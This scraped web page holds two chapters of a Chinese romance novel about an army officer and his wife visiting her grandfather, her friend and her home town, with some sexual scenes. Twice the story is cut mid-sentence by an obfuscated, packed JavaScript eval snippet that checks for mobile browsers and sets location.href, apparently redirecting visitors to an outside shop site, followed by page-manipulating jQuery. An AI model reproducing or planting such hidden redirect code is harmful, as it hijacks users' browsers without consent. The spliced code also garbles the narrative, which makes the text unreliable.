“您知道了?”聂宇颇有些不好意思地捋了下耳边的发,“拿了第五名,没上领奖台,就没跟您说。” 蒋铸年轻的时候在部队里打过排球,对这项运动一直很喜爱,还亲自去现场看过女排的比赛。后来气排球被发明出来的时候,蒋铸因为身体原因已经打不动了,但前几年燕城成立气排球协会,他还去给人撑场子了。 “可以了,你们这支队伍连个替补都没有,打成这样已经很顽强。”赞赏地瞅了聂宇一眼,蒋铸又将目光转向孟京阳,缓缓道,“听说年后有场演习,你现在倒有心思休假了?” “我们是蓝军。”孟京阳说。 “蓝军怎么了?蓝军就是铁板钉钉的输?你这个参谋长都这么没有斗志,还怎么带下面的兵,还怎么给你的主官出谋划策!” 蒋铸不悦地瞪他一眼,任谁看老爷子都要发火了。孟京阳却笑了,说:“有您这句话在,我们心就定了。” 一顿,“您放心,回头我就转告我们团长,请他放开了打。” 蒋铸咂摸了一会儿才知道自己上了他的套儿,笑着点点他,又说:“就该这样,带兵打仗又不是过家家。” “是。”孟京阳敛容,敬了个礼,老爷子这才满意了。 随后一行人移步餐厅开饭。 因为孟京阳和聂宇是客,在吃饭的时候蒋家人都对他们颇为照顾,包括蒋老爷子。可不知是跟孟京阳投缘还是如何,蒋老爷子今晚跟他说的话格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16703924|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外多,还都是关于带兵和打仗的,这让蒋云鹏有些吃味。更让他难堪的是,偶尔他试图插上一两句嘴,还被老爷子颇为不屑地驳回来,说他当兵这么多年没下过地,哪里懂野战部队的那些道道,又哪里会打仗。蒋云鹏让他训斥的脸上无光,只好闷头吃饭。 坐在孟京阳一旁的聂宇也没怎么开口,只安静地听他们两人聊天,默默地吃着东西。碗里一大半都是孟京阳给她夹过来的,事到如今,他对她在吃上的喜好可以说是了如指掌。 一顿饭就这样持续了一个多小时才结束,又坐了片刻后聂宇和孟京阳打算离开,蒋云鹏终于出声留住了他们。 “你们明天就出发回旬城是吧?”蒋云鹏明知故问了一句,然后拿出一个信封来,“晓先跟着小聂去旬城也有大半年了,本想着过年接他们回来住一段时间,但老爷子——”话头顿了下,蒋云鹏看了父亲一眼,又继续说,“既然回不来,那就托你们给她带去点钱吧,过年了嘛,也好买些东西孝敬长辈。” 聂宇没接,先是看了眼蒋铸,问他的意思。而蒋铸心里是相当不喜的,因为蒋晓先一再问家里要钱,蒋云鹏已经给她寄去了不少。可毕竟是过年嘛,蒋铸决定睁一只眼闭一只眼。 聂宇领会了老爷子的意思,接过信封,向蒋云鹏保证一定带到。两人又叮嘱了老爷子保重身体,然后才离开。 - 回到家里,简单洗漱了过后,两人就睡下了。胡闹了两天,身体是疲惫的,但精神却仍依旧活跃。聂宇翻过了身,拥进孟京阳的怀里,问他演习的事儿。 “用的都是空包弹,不会伤到人。” 孟京阳知道她担心什么,便出声安抚道。聂宇放心了一些,又问起来他关于“蓝军”的事儿。 “不是说一般厉害的部队都扮演红军么,怎么你们是扮演蓝军?” 关于演习的这点事儿,聂宇还是曾经听谢念真聊到过一些。不过在此刻,她是不会主动提起这一点的。 “照你这道理,只能说明我们不够厉害。”孟京阳笑一笑,逗她道。 “我不信。”聂宇翘唇一笑,“我对你和劳团长有信心。” “真的?”孟京阳一掀眸,看向她,被他用视线锁定的聂宇果真点了点头,神情还很认真。 孟京阳不由得乐了,这才说了实话:“是我们主动提出来当这个‘蓝军’。对我们这样一支部队来说,只有当好‘蓝军’,才能博得一线生机。” 聂宇从他的眸中读出了一丝怅然,她没有再多问,只是一再表示了对他们的看好。 “我姥爷这人很挑的,但他今晚跟你说了那么多,而且你谈的那些,他大多都表示赞同的。” “所以——”孟京阳眸光闪一闪,“你今晚话那么少,就是在帮我打量你姥爷的态度?” “……倒也没有。”聂宇有些心虚地反驳。连她自己都没意识到,她是带有一种护内的心态在旁听呢。 “睡吧,明天早起呢!” 聂宇找个借口想溜,却被孟京阳箍住腰,让她动弹不得。 “躲什么?我老婆这么为我着想,我心里高兴着呢。只是澄澄——”孟京阳停顿了下,“说起明天来,你觉得明天坐飞机你会不会难受?” 明日两人回旬城,是打算先坐飞机到秦城,然后从那儿开车回老家。当然,两人会在秦城做短暂的逗留,聂宇已经做好了安排,要把他介绍给自己的好友苗淼认识,然后带上这个妮子一起回去。 “应该还好?”聂宇想了想说,没意识到某人的转折有些生硬,“反正……晕了我就睡觉。” 实际她想说的是,反正有你在,晕了也不怕。 “既是如此,那现在睡那么早干什么?”孟京阳反问,“提醒你一下,今晚的睡前功课还没做。” 直到某人“图穷匕见”,聂宇才意识到他想干什么,整个人都不太好了。 “你还——” 聂宇愕然从他怀里起身,想斥责他居然还想。可一对上他黑沉的双眸,话就说不出来了,仿佛那是一个黑洞,会将她连人带理智全部吸进去。 “那你说怎么办吧。”孟京阳说着,将人拉回来,一翻身又将她压在身下,“看着你,就会想这些事。” 额头抵着额头,孟京阳用轻而哑的嗓音说道。聂宇瞬间被蛊惑,声音急促了起来。 “可明天呃——” 聂宇犹自挣扎着,没说几个字,就被孟京阳落在她胸前的吻悉数堵了回去。聂宇任由他放肆了片刻,就听他说:“明天我叫你,绝不会误事……累了正好上飞机睡觉。” “……” 聂宇没辙了,只能任他予取予求,自己又哭又笑。而作为始作俑者的孟京阳,到了极致之处,更是觉得死在她身上也未尝不可。 - 果不其然,第二天的飞行聂宇一整个都是睡过去的。下机的时候人还是懵的,孟京阳将她揽在怀里,哄孩子一样哄着她。 直到出了航站楼,聂宇才清醒一些,她倚在孟京阳身边,听他打电话。不一会儿,一辆挂着秦城牌照的车子开到了他们面前,司机正是应烽。 透过车窗看见聂宇一脸倦色,应烽的第一反应是晕机。孟京阳当然不会解释,直接将行李箱放到后备箱,带着聂宇上车。 又一次看到熟悉的街景,聂宇的精神慢慢恢复了,待车子开进市区,她指着窗外的一些景致,跟孟京阳兴致勃勃地聊。 应烽直接将两人送到了酒店,然后招呼他们下车,并将车钥匙给了孟京阳。 “本来今晚该给你们接风,但老张那边要开会,我还得赶回去。回头吧,等你们回燕城的时候,我请你们吃秦城酒家,上最贵的菜!” 孟京阳倒不在乎那一顿饭,他的重点另有其他。 “这么说,你今年过年还是不回燕城?”他睇着他问。 “不回。”应烽一挥手,“尤其是今年,我更不能回。” 想想,打小一起厮混到大的兄弟都结婚了,他还单着,回去不得被老头念叨死。但孟京阳晓得,他不回燕城的理由并非只是这么幼稚。 “行了,颠儿吧。” 接过车钥匙,将人打发了,孟京阳笑揽着聂宇,进了酒店。 37.73-74 -73- 两人顺利地办理了入住。 这次回来,因是私事,孟京阳并未选择部队招待所,而是直接让应烽找了家地方宾馆,这样来去更自如。显然聂宇也很喜欢这一安排,进了房间之后看到吧台上放置的一些秦城特产零嘴,笑眯眯地剥开尝了一个。 “是熟悉的味道。” 聂宇说完递给孟京阳一个,他也笑着收下了。 在房间里稍作休息后,两人外出,开车去了秦城一家特色排档吃了晚饭。而后在外消食片刻,便又回到了宾馆,早早入睡。 第二天聂宇睡到了日上三竿,孟京阳也不催她,待她睡饱睡足之后,两个人又出外觅食,顺便逛了逛秦城市内有名的景点,只待下午时间一到,便去秦城医学院接苗淼。 聂宇原是打算回到旬城以后再跟苗淼聚,谁知她放假比她还晚,且正好赶上了她们回秦城的时间点,于是两人便将见面的时间挪到了今天下午,待苗淼最后一场考试结束后。 孟京阳对她这个安排毫无异议,用他的话说,来到了这里他完全是客随主便,她说去哪儿便去哪儿,他唯一的任务就是给她当好司机。这可把聂宇逗得合不拢嘴,决定回了旬城还是要抽出一晚来“奖励”他一下。 傍晚时分,孟京阳准时开着车载着聂宇来到了秦城医学院的门口。没过多久,一个女孩儿提着大包小包冲出了校门,站在那里张望。聂宇朝她挥了几次手对方都没看见,无奈之下,她只得过去碰头。 “淼淼!” 一声呼唤,终于将苗淼的视线转移到她的身上。年轻姑娘立马放下行李,朝她跑了过去。 “小宇,你可来了!” 说完,重重地抱住了聂宇。聂宇深深地感受到来自好友的想念,她也用力地回报了她一下,过了好一会儿才松开。 “瘦了,淼儿。”聂宇打量好友一番,说道。 “是吗?”苗淼惊喜一挑眉,“估计是考试周把我摧残的,学医太惨了,再来一回我绝对不报医学院。不过小宇啊,你可比之前漂亮多了,简直判若两人呀!”倏地凑近,“快点儿向我传授下变美秘诀!” 聂宇笑着一推她,让她正经点,又指着她那两个包问:“行李就只有这么多吗?没落下东西吧?” “就这么多,再多我哥该有意见了,里面全是留给他洗的冬天脏衣服,哈哈。” 苗淼笑得甚是鸡贼,聂宇故作无语地翻了个白眼,主动走过去帮她提行李,想让她先上车。 此时此刻,该孟京阳表现的时候到了。他早已下车,一直在旁候着,见两人寒暄完毕,便快步走过来打开后备箱,然后从聂宇手中接过行李,往车上放。一旁的苗淼看见了,一扯聂宇衣服,偷偷对她挤眉弄眼。 聂宇笑笑,看似十分镇定,其实耳根已经有些红了。她攥住苗淼的手不让她再作怪,然后向她介绍道:“这是我爱人,孟京阳。” 早在聂宇决定结婚的时候,苗淼就从她那里大概得知了她和孟京阳的故事,也晓得他就是之前她俩一起去医院见殷凡被当街抢钱时出手营救她们的两个人之一。但时隔这么久,苗淼早已对他的长相记忆模糊了,只知道是个很英俊的人。此刻再见,苗淼再一次为这张脸折服,真的长得挺帅,有一种直峭清正,霁月清风之感。 “你好小宇家属,我是她的好朋友苗淼。我俩认识五六年了,比你久哈哈。”苗淼说着说着不好意思了,“抱歉,我这个人很俗,小宇跟我绝对不一样。” 孟京阳确实为这姑娘的性格感到意外,转而一琢磨,又觉得实在会是聂宇选来当好友的那类人。他浅淡一笑,握住苗淼的手说:“你是真性情,很值得人欣赏。至于认识时间长短这一点,这辈子我拍马也追不上了,只能甘拜下风。” “嘿嘿。” 松开手后,苗淼没忍住捂嘴笑了。聂宇看她那个没出息样,也懒得再听这俩人在这儿说客套话,便将人都撵上车了。 - 上了车之后,聂宇和苗淼开始叽叽喳喳地叙旧,孟京阳在前开车,时不时插上一两句,一时间氛围很是欢快。毕竟苗淼在哪儿,热闹就在哪儿,这也是聂宇愿意跟她交朋友的原因——开心呐。 一刻钟后,综合了两位女士的意见,孟京阳选了一家饭馆,三个人开开心心地吃了一顿。随后两个人又去附近的夜市小逛了一圈儿,才流连忘返地回了酒店。 因为苗淼明天还打算在市里买些东西回去,一行人要到后天才能回家,这就意味着还要在酒店住两晚。好在一开始孟京阳就让应烽订了两间房,且是挨着的,万一有什么事都能相互照应。 聂宇先陪苗淼去另外一间房,将她安顿好之后,她回到自己的房间,笑眯眯地看着孟京阳,显然是有所求的样子。孟京阳哪里还猜不出来,一捏她的脸,表示不同意。 “我一年到头才能跟你睡几晚,你还要舍出去一晚?”他假模假样地质问道。 “可我也跟淼淼好久没见啦,而且她一个人住一间可能会怕,我得陪陪她。” 聂宇表情十分恳切道,孟京阳看她急的这个样子,没舍得再逗她。 “行,那睡前作业先欠着,回头慢慢还吧。” 孟京阳故作无奈道,聂宇想说他想得美,话到嘴边忍住了,立马带着换洗衣物去了苗淼那边。 房间里,苗淼刚换上居家衣服,见聂宇溜进来,不由得露出一个坏笑:“唷,你还真来啦,我当孟首长不放人呢。” 可不是欠下了一屁股“床债”嘛,想来她多不容易呀。 聂宇假装生气去掐苗淼脖子,苗淼赶紧求饶,溜到卫生间去洗漱了。 - 待两人都洗完澡躺到床上时,已经快十一点了。但她们谁也睡不着,说着闺蜜之间的悄悄话。 “澄澄,真想不到,你去燕城这一年半不仅考了个大学,还把自己给嫁了。”用手指头绕着聂宇的长发,苗淼低声道。 “不好嘛?”聂宇随口问道,一抬眸,发现苗淼在瞅着她笑。 “这不得问你吗?”苗淼说,“婚姻这事儿嘛,如人饮水,冷暖自知。” “可还有句话叫‘当局者迷,旁观者清’呢!”聂宇不放过她,催促道,“快说快说。” 苗淼翻了个白眼:“你就非得让我夸首长几句是吧?” “怎么就一定是夸呢?”聂宇听到这话心里美了,嘴上却硬着,“人无完人,总能找到一些缺点吧?” “缺点就是总霸占着你。”苗淼说,“但这对我来说是缺点,对你是吗?” 聂宇终于乐了,笑完之后又有些不好意思,拿被子遮了遮脸。 “我觉得挺好的。”苗淼喟叹了声,认真说,“以前听你说结婚,又得知对方比你大几岁,我总是不太放心,担心他仗着有年纪有阅历来压制你,否定你的一切,让你全都听他的。但现在看来,首长不太一样,他很尊重你。你晓得‘尊重’这两个字在男女关系里有多重要吗?就像我爸一直以来非常大男子主义,所以我妈总是过的很辛苦。澄澄,我怕你也过这种日子。” “我不会。”聂宇知道父母关系一直是苗淼的心结,便安慰她道,“如果他是那样,我应该就不会嫁他。” “那你要嫁谁呢?”苗淼下意识反问,“除了他,还有没有一个人,能够像你期盼的那样给你自由,又同时保护着你。”一顿,“澄澄,你这是拥有了便不觉得难,实际上这样的人是少之又少的,所以你要珍惜。” 聂宇愣了愣,嗯了一声,算是答应。但没多一会儿,她又不太服气地反问:“难道我就没有优点吗?” “你当然有啊,否则他会娶你吗?”苗淼觉得她这问题莫名其妙。 “那他不娶我就证明我不优秀了?” “那倒不是这个意思……”苗淼皱眉开始思索,余光瞥见聂宇在偷笑,不由大呼上当,“好啊,你拿我寻开心……” “本来就是嘛……” 聂宇笑个不停,再加上苗淼捏住她的命门使劲挠她痒,越发笑得上气不接下气。一墙之隔的孟京阳似乎都有所感应,向身后的虚空瞥了一眼,微弯了弯唇角。 - 第二天上午,因为前一晚夜话到比较晚,俩人都没起来。一直到快中午的时候才出门,吃过饭便直奔城东的小批发市场,随苗淼安排批量购置年货。她都是买给家里那些弟弟妹妹的,用父亲的话说,她是家里的大姐姐,要照顾叔叔和姑姑家的那些孩子们。为怕父亲啰嗦和指责,每次回家苗淼都来批发市场大肆采购一番,回去应付小孩儿。 聂宇也跟着买了一些文具,不过她是买给自己的,给家里那些小孩儿的她已经另有准备,都是孟京阳从商场里买回来的牌子货。这是他第一次陪她回家过年,当然不由她拿批发市场的东西来随便敷衍,怕别人借此奚落她。说来说去,也是为聂宇的面子着想。 两个小时后,两个人战绩颇丰地离开批发市场,将东西放到车上后,又由孟京阳陪着去附近的大学城逛。直逛到天色渐晚,聂宇和苗淼才惊呼着饿了离开,却在经过秦城师范学院的大门时,遇到了一个熟人。 殷凡! 是殷凡先认出了苗淼,才注意到她身边的聂宇。看见是她,殷凡好一阵怔愣,随后眼中放出一阵惊喜的光。 聂宇倒没想到会这样巧,这才是回来的第三天,甚至还没到旬城,就遇见了这个最不想遇见的人。聂宇只得回应一声他的招呼,然后立刻向他介绍孟京阳:“这是我爱人。” 殷凡并不知道聂宇结婚的消息,听到“爱人”两个词时,犹如五雷轰顶一般,一下子愣在了那里。聂宇仍是表情如初,反倒是苗淼觉得有些尴尬,连忙出面圆场:“殷凡,你考到秦城师范来了?那也不错嘛。” “勉勉强强吧……”殷凡失魂般说道,目光仍落在聂宇和孟京阳身上,感到一阵自惭形秽:她不仅结婚了,而且对象看上去那么周正,只瞧穿着打扮,想必也不是一般人。 他不由又看了孟京阳一眼,但后者猜到了聂宇此刻的态度,没有主动与他握手打招呼,只是同他颔了颔首,表情十分浅淡。 殷凡顿时觉得自己什么也不用说了,匆匆回应了下,借口还有事,先行离开。而聂宇和苗淼缓了片刻,才能装作若无其事地走开。 之后的行程依旧不受影响,但苗淼能感觉到什么不一样了,所以当晚吃过晚饭回到酒店房间以后,她悄声问聂宇,要不要去旁边看看首长。 聂宇也心里没底,因为见过殷凡之后,孟京阳的情绪好像就不如之前,也不知是想到了什么。但面对苗淼,聂宇还是努力不当回事,直到夜晚十一点钟好友睡下之后,她才起身偷溜出房门,去了隔壁。 房门依旧是开着的,没有从里面上锁。聂宇进去之后下意识将门锁上,往里面走了几步,发现孟京阳正坐在靠窗的小沙发里看书,整个人是洗过澡的样子。 聂宇还是有些意外的:“你怎么还没睡?”甚至连酝酿睡意的打算好像都没有。 “睡不着,就拿房间里这本介绍秦城的书看看,里面有提到旬城。”孟京阳回答道,又问她,“你怎么过来了?” “没事。”聂宇含糊道,走到他身边坐下,探头看他手里的书。没过多久,见孟京阳的目光也移回了书上,她终是开口问:“你是不是又不高兴了?” 一个“又”字,无端显出某人的无理取闹来。可不是嘛,关于殷凡的事她可都一五一十地在婚前做了交代,绝无隐瞒哦。当时他不在意,现在更不能拿来做文章! 想到这里,聂宇把他手中的书拿走,坐到他身上,面对面的以一种“不容躲避”的姿态看着他。 孟京阳也没躲,他轻轻叹一口气,说:“我是生气,气你曾经遭受了那么大的委屈竟是为了这样一个人。”一顿,意难平道,“但凡他有丁点能让人看上眼的也就算了。” 这理由有些出乎聂宇的意料,甚至让人觉得啼笑皆非。 “他是因为身体原因所以不出众,你好不好就这样人身攻击呀?孟先生,失态了哦。”聂宇戳戳他的胸口,说道。 “孟太太,是你要问的。”孟京阳揪住聂宇的手指,撇到了一旁,意思是不吃这套。 聂宇没想到他如此在意呢,心顿时就软了。她想了想,靠住他说:“京阳,是不是我这一年多来得到的太多了?现在想起曾经的失去,我都开始不在乎起来。” “……”孟京阳推扶着聂宇的腰让她坐直,四目相对时,看见她眸光莹莹,仿佛哄着哄着他把她自己都说感动了。 孟京阳忽然笑了,笑完之后又敛容,低声问她:“想不想我?” “……”聂宇简直要服了他,但她不确定如果此时她说‘不’的话,辜负了当下这个美好氛围的人会变成谁…… “你真是——”聂宇哭笑不得地想指责他,话到最后却忍不住脸红了,“苗淼在呢……” “我快点,你在上面。”这是让聂宇掌握主动权。 聂宇骤然心动了,忸怩了又忸怩,抬手解开了孟京阳的衣服扣子。 ……一个小时后,聂宇披着浴袍,拖着一双软而无力的腿,狼狈地回到了隔壁房间。直到在床上躺下许久了,心跳声犹在耳边咚咚作响,就好像方才她在他身上颠来倒去时不小心触及心口时感受到的那样,让人忍不住颤栗。还有他箍在她腰臀间的那双手,此刻仿佛仍留有余温。 但最让聂宇震颤的,是他亲吻她心口时留下的那句话:“澄澄,以后绝不会再有这样的事。” 他用迟来的怜惜,包裹住她的全身,为她构筑一片安全的岛屿。 -74- 苗淼第二天早上醒来的时候,看到聂宇还蜷在被子里睡,只露出小半张脸来,红扑扑的宛如一颗熟透的水蜜桃,鲜软多汁。苗淼不由从刚睡醒的怔忪中分出一缕神智,感慨道:果然人结了婚就是不一样。 她下了床,扯过被她丢在沙发上的黑色浴袍披上,准备去卫生间洗漱。经过聂宇的床尾时,她忽然发现衣架上也挂着一件黑浴袍,但酒店为了方便区分,提供给每间客房的浴袍明明是一件白一件黑! 苗淼低头看了看自己身上这件,又看了看聂宇的,仿佛明白了什么。嘴角绽出一抹狡黠的笑,她放轻脚步,悄无声息地去了卫生间。 待聂宇醒来的时候,就发现苗淼看自己的眼神不大对劲,但当时他们急于退房离开,她也没多琢磨。等到他们上了车,开始安安稳稳地向旬城出发的时候,聂宇再回味苗淼的神情,就知道她大概猜出什么来了,脸颊不由得一红。但她打定主意,只要这妮子不提,她就绝不会吐露一个字。 姐俩就这样心思各异地你瞅我我瞅你互猜哑谜似的度过了三个多小时的车程,在将苗淼先一步送到目的地的时候,聂宇终于松了口气。 她下车帮着苗淼一起把行李取了下来,苗淼看看聂宇,又看看跟着她一起下车来的孟京阳,笑一笑说:“年前我就不打扰你们一家团聚啦,等年后我去找你玩儿,然后你再老老实实地告诉我昨晚在我睡着后又发生了什么,你瞒着我去了哪里!” 后两句自然是悄悄在聂宇耳边说的,羞的她耳根立刻就红了。想报复,结果苗淼拎着行李泥鳅一样跑了,聂宇无奈,只得回头瞪孟京阳。 “这下好了,苗淼知道昨晚的事了,都怪你。” 聂宇说完假装羞恼地上车,孟京阳转头跟上,关上车门后不紧不慢,不急不慌道:“怎么能怪我,昨晚不是你主动过来的?” “……” 聂宇瞟他,不言语了。孟京阳会意,笑一笑抬手投降:“好了好了,到时候你给她来个抵死不认。” “怎么不认呐,浴袍都露馅儿了……”聂宇这会儿也回过味儿来,明白了自己的破绽在哪里。但她很快想开了,决定破罐破摔,反正做都已经做喽。 聂宇让孟京阳快点开车,她迫不及待要回家。孟京阳抓过她的手在唇边啄了下,然后启动车子出发,直奔城南。 - 先前听奶奶提起新家的时候,聂宇印象最深刻的就是这套房子比原先那套还要旧,所以脑海里最初对它的设想就是拙朴和暗淡,最起码外表看来肯定如此。但等孟京阳将车子开进小区,看到一排排虽有年头但外立面仍规整鲜亮的五层小楼时,看到一丛丛排布整齐且恰到好处的绿化植物时,聂宇着实吃了一惊:这里的环境很好啊! 就连孟京阳也颇为意外,他边开车边说:“有点儿像部队干休所的风格。”舒适且简朴。 聂宇不由笑了,待车子停稳后,她和孟京阳迅速取了行李,准备上楼。 谢静芳早就知道她们是今天回来,提前就在家里等候。眼看着时近中午,门外还没有动静,不免有些着急。一旁陪着她一起等待迎接侄女夫妇的聂传溪见母亲有些不安,便遣儿子林天天再跑一趟,去楼下迎一迎。结果门刚一开,就有欢呼声从门外传来,母女俩对视一眼,眸光均是亮亮的。她们晓得,这是人回来了! 聂传溪立马就扶着母亲起身去门口迎接,果然看见一个男子提着行李进了玄关。那一刻,聂传溪感觉像是倏地进了一片树林,视野一下子就暗了下来。她不由在心里感慨:这女婿个子倒是够高,把光都给挡在了身后! 及至看到孟京阳的正脸,聂传溪又忙不迭地在对他的第一印象里添了一笔:长的是挺好,看得出来比澄澄大些,但一点儿不显年纪,从容中带着一丝随性,给人的感觉正正好。不仅如此——聂传溪越看他越觉得眼熟,仿佛在哪里见过一样,这可有些稀奇! 这边,聂宇和奶奶已经碰上了头,祖孙俩好久未见,上来就是一个大大的拥抱,险些把老太太弄得踉跄。幸而孟京阳在一旁扶着,聂宇站稳之后,一头扎进老太太的颈窝里,眼眶红了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16718506|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 谢静芳心里也有所触动,但在这种场合,她向来比聂宇稳得住,便拍拍她的背,说:“多大的人了,泪窝还这样浅。” 聂宇让奶奶说的有些不好意思,抬头看见姑姑聂传溪还在一旁等着,连忙又克制了下情绪向她走去。此刻聂传溪已经放弃琢磨为何会觉得孟京阳眼熟,因为实在想不起来。她看着许久未见思念至深的侄女,伸手将她拉进怀里,好生怜惜了一番。 “我也要我也要!” 林天天又来这里裹乱,三个人笑闹着,许久才稳当下来。 “澄澄,这就是你给老太太找的孙女婿喽?”指指孟京阳,聂传溪明知故问道。 聂宇“嗯”一声,又笑眯眯反驳:“姑姑,不是我找的他,是他找我。” 话里明晃晃的娇气,是在亲近的人面前独有的。孟京阳听了也没有戳穿她,微笑认了——谁让他们之间本身就说不清。 “姑姑好,我姓孟,叫孟京阳,在燕城部队工作。”笑闹完后,孟京阳像对待任何一位敬重的长辈那样,郑重地介绍自己。 “好,好。”聂传溪边说边点头,“这声音听着就稳重有底气,像是部队里锻炼出来的人。一路开车累了吧,快进屋坐着歇会儿。” 几个人从玄关往客厅去,聂宇顺带就将这栋两居室的全貌打量了一遍,心里十分满意。不是多么新潮的设计和装修,甚至很多家具都过时了。但胜在干净和整洁,最重要的是,有奶奶的气息,有家的感觉。 “奶奶,我们给您买了件羽绒马甲,拿给您穿。还有姑姑,您也有——” 谢静芳体恤两人一路回来舟车劳顿,坐下就给他们端来茶水瓜果,让他们先歇一歇再吃午饭。但聂宇哪里坐得住啊,没一会儿就忍不住去开行李箱,要拿东西出来显摆了。谢静芳怎么劝都不听,看向孟京阳,指望他说一两句,就见他一脸纵容地看着聂宇,甚至还帮着把另外一个箱子打开了,里面是他们给聂传溪的双胞胎儿女带回来的东西。 一家人只得先拆礼物,气氛又热闹了起来,只有林天天把一张脸皱成了包子:因为表姐买给他的礼物全是学习用的! “姐,你这是让我过年还是催我去学习呀。”林天天佯装不高兴地问,被聂传溪拍了一下。 “让你去学习呀。”聂宇说,“你今年高三了,是不是马上就一模了,准备好了没有?还有,你这次期末考试考了多少分,成绩单拿来我看看!” 林天天不由哀嚎,向孟京阳求救:“姐夫,要不你把我姐带回去吧,行行好救救我成吗?” “又说胡话!”聂传溪在儿子脑门上轻拍了下,“你姐说的不对吗?她督促你学习有什么不好?再说了,这是你姐的家,要走也是你走。” 林天天像是才意识到这个事实,赶紧捂住嘴不说话了,只露出一双眼珠在那里转来转去,表达着自己的委屈。孟京阳见状,从行李箱里拿出一个盒子来,递给了林天天。 “你姐让我准备一个送给男孩儿的礼物,但我们都不知道现在的你想要什么,就按你先前的喜好选了。听你姐说,你平常会看些军事类的电视剧,也喜欢玩类似游戏,所以——” “哇,是坦克模型!” 没等孟京阳把话说完,林天天就已经手快地打开了礼物盒子,看见最上面露出来的类似坦克炮塔模样的组件,惊叫了一声。 “我天姐夫,我太喜欢了,我天我天!” 林天天高兴的都语无伦次了,把东西拿出来之后自己先欣赏了好一会儿,然后轮流拿给妈妈和姥姥炫耀,最后蹭到了聂宇面前。 “毛毛姐你看,我姐夫多懂我啊,但你也不赖哈,我原谅你了嘿嘿嘿。” 林天天一高兴就容易得意忘形,聂宇也懒得搭理他了,将他的大脑门从眼前推开之后,她问姑姑乐乐在哪儿。林乐乐,是她在这个家最喜欢的小姑娘。 “她去补课了,要下午才能回来呢。今年期末有一门考的不理想,她想利用放假这几天补补。”聂传溪说道,一脸的欣慰加疼惜。这个女儿真是生来报恩的,从来都不让人操心。 “小姑娘把自己逼得太紧了些。”聂宇说道,一拍林天天的头,“看看你妹妹,不用人催都知道学习呢。” “谁让她笨呢,我连玩儿带学都比她考得好,林乐乐没救喽。” 林天天低头鼓捣着自己新得的玩物,一时间嘴上也没了把门。聂宇和姑姑对视一眼,表情都有些无奈。是不是每个男孩子进入青春期后都能不自觉掌握一门如何惹人生气的本领,换做她是乐乐也不愿意在家待了! - 发放完礼物之后,一家人开饭了。都是奶奶和姑姑的手艺,聂宇百吃不厌,饶是回来的路上有些晕车,也吃下了大半碗饭,直撑的有些打嗝。 饭后,聂宇一边在客厅来回走着消食儿,一边跟奶奶和姑姑聊天。神情里有明显的倦色,但就是不肯松口去休息。 最后还是姑姑的一句低语劝动了她,说如果她不去的话,孟京阳一个人更不好去午睡了。但他开了一上午的车回来,这会儿肯定累了。 于是聂宇就回了两人面朝南边,此刻阳光满溢的大主卧。盖着奶奶洗干缝好晒的满是阳光味道的厚厚棉被,她和孟京阳相拥着睡了一个舒舒服服的午觉,等醒来时,已经快五点钟,身旁的铺位早已空了。 聂宇拥着被子在床上发了会儿呆,然后才披衣下床,去了客厅。此时此刻,家里除她之外只有三个人,她的奶奶、姑姑和孟京阳。至于林天天,早已不见了人影。 “天天呢?”聂宇下意识地问刚回到客厅的姑姑。 “出去踢球去了,一天天的没个安生的时候。”姑姑说着,将一块儿面板搁到了客厅的茶几上,似乎是要准备什么东西。 “这是要做什么?”聂宇又问。 “包饺子呀。”聂传溪说,“难得一家人齐聚,正好吃饺子嘛。” 话落,就见孟京阳和奶奶也过来了,一人端着面盆,一人端着馅儿。 “包饺子,要加入进来么?”抛过去一个眼神,孟京阳问道。 聂宇呆呆地摇摇头,又问:“你会?” “你瞧着就是。” 丢下这句话,孟京阳在茶几前坐定,揭开面盆盖子,捞出一块儿面来开揉,动作娴熟地直让人惊叹。但过去这半年多里,聂宇没吃过一回他包的饺子,根本不知道他有这手艺! “京阳,你和澄澄歇着吧,我和奶奶来就行了。” 聂传溪不好意思让他才来就干这么多活,劝他道。 “没事儿。”孟京阳笑一笑,“姑姑您方便的话,帮我找个围裙吧,一会儿我来擀饺子皮。” “那好吧。” 聂传溪给聂宇使眼色,想让她劝孟京阳下来。但聂宇的全部注意力都被孟京阳手中的动作给吸引去了,完全没留给姑姑一点儿。聂传溪无奈,跟母亲谢静芳交换了下眼神,在她的示意下去取围裙了。老太太也想看看孟京阳包饺子的水平。 待围裙取来,聂传溪又犯了难,因为这东西是之前买东西送的,上面印了许多卡通娃娃,穿在孟京阳身上未免有些不像样。可孟京阳并不在意,向聂宇挑了下眉头,示意她帮自己围上。 聂宇忍着笑帮他带上围裙,然后又帮他挽了挽黑色线衣的袖口,免得等会儿干活沾上面粉。待一切都准备就绪之后,她在他身边坐下,支着肘看他切剂子和擀饺子皮,一个接一个,动作简直不要太利索。而且他擀出来的饺子皮大小适中,厚薄相宜,还个顶个的圆,没点功夫真练不成这样呢。 “你这手艺是打哪儿学的?”谢静芳也不由问道,“现在年轻人这么会擀饺子皮的可不多喽。” 倒不是多难学,而是需要练,大多数人没那个耐心。 “以前刚下连队的时候在炊事班帮过厨,擀了一个月的饺子皮。”孟京阳笑说,“就是那会儿练出来的。” “天老爷。”聂传溪失笑,“难怪说部队锻炼人呢,真是什么都教,什么都让干。” 孟京阳垂眸微笑,甚是谦逊的样子。聂宇简直都有些崇拜他了,就见他将最后剩下来那块指甲盖大小的面团丢给她,说:“拿去捏小兔子吧,一会儿下到锅里煮煮,算你包的饺子。” 聂宇:“……” 